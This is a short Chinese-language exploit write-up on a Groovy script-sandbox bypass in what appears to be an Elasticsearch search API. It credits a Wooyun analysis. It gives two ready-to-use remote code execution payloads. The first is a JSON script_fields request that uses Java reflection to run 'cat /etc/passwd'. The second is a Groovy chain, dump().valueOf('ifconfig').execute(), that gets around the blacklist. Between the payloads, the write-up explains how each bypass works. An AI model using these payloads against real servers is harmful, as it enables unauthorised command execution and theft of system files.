**致谢**

首先感谢Wooyun社区*lupin*的对漏洞[http://zone.wooyun.org/content/18894](http://zone.wooyun.org/content/18894" \t "_blank)的分析

**漏洞利用0x1**

漏洞的成因是Groovy的白名单被绕过了，对常见的危险函数以及某些类做了限制，关于漏洞利用，我们只需要找到一个类能获取当前Class对象，这样的话也就是说可以用Java反射特性执行任意代码了，文中给出了java.lang.Math这个类，然后调用java.lang.Math.class.forName('xx)就可以执行Java代码了，这里我给出了一个命令执行的Exploit

{"size":1,"script\_fields": {"iswin": {"script":"java.lang.Math.class.forName(\"java.io.BufferedReader\").getConstructor(java.io.Reader.class).newInstance(java.lang.Math.class.forName(\"java.io.InputStreamReader\").getConstructor(java.io.InputStream.class).newInstance(java.lang.Math.class.forName(\"java.lang.Runtime\").getRuntime().exec(\"cat /etc/passwd\").getInputStream())).readLines()","lang": "groovy"}}}

### 漏洞利用0x2

上面的方法是利用java的反射特性来利用漏洞，这里既然是Groovy语言的远程代码执行，首先需要对Groovy语言有一点简单的认识。

Groovy 是 JVM 的一个替代语言 —替代 是指可以用 Groovy 在 Java 平台上进行 Java 编程，使用方式基本与使用 Java 代码的方式相同。在编写新应用程序时，Groovy 代码能够与 Java 代码很好地结合，也能用于扩展现有代码。  
Groovy 与 Java 语言的区别很大，Java 语言是一种固定类型语言。在 Groovy 中，类型是可选的，所以您不必输入 String myStr = “Hello”; 来声明 String 变量。  
除此之外，Groovy 代码还能在运行时轻松地改变自己。这实际上意味着，能够在运行时轻松地为对象指定新方法和属性。

也就是说Groovy有自己的语法规则，通过查询Groovy的相关API，发现就执行命令来说Groovy的String对象中有个execute()方法可以执行系统命令，也就是说如果我们能找到一个可以控制的String类型的变量，就可以执行任意命令了，很遗憾，如果直接"ipconfig".execute()这样就触发了Groovy的的黑名单。  
如果用反射，可以这样this.class.toString().valueOf('whoami').execute().getText()，即可完美实现，但是同过查阅valueOf()这个函数，发现只要是String类型的变量即可调用，通过查阅API发现Groovy的dump()函数返回类型是String，所以完美的远程命令执行Exploit就出来了dump().valueOf('ifconfig').execute().text。

### 参考链接

[1] :[http://www.ibm.com/developerworks/cn/education/java/j-groovy/j-groovy.html](http://www.ibm.com/developerworks/cn/education/java/j-groovy/j-groovy.html" \t "_blank)

[2] :<http://zone.wooyun.org/content/18894>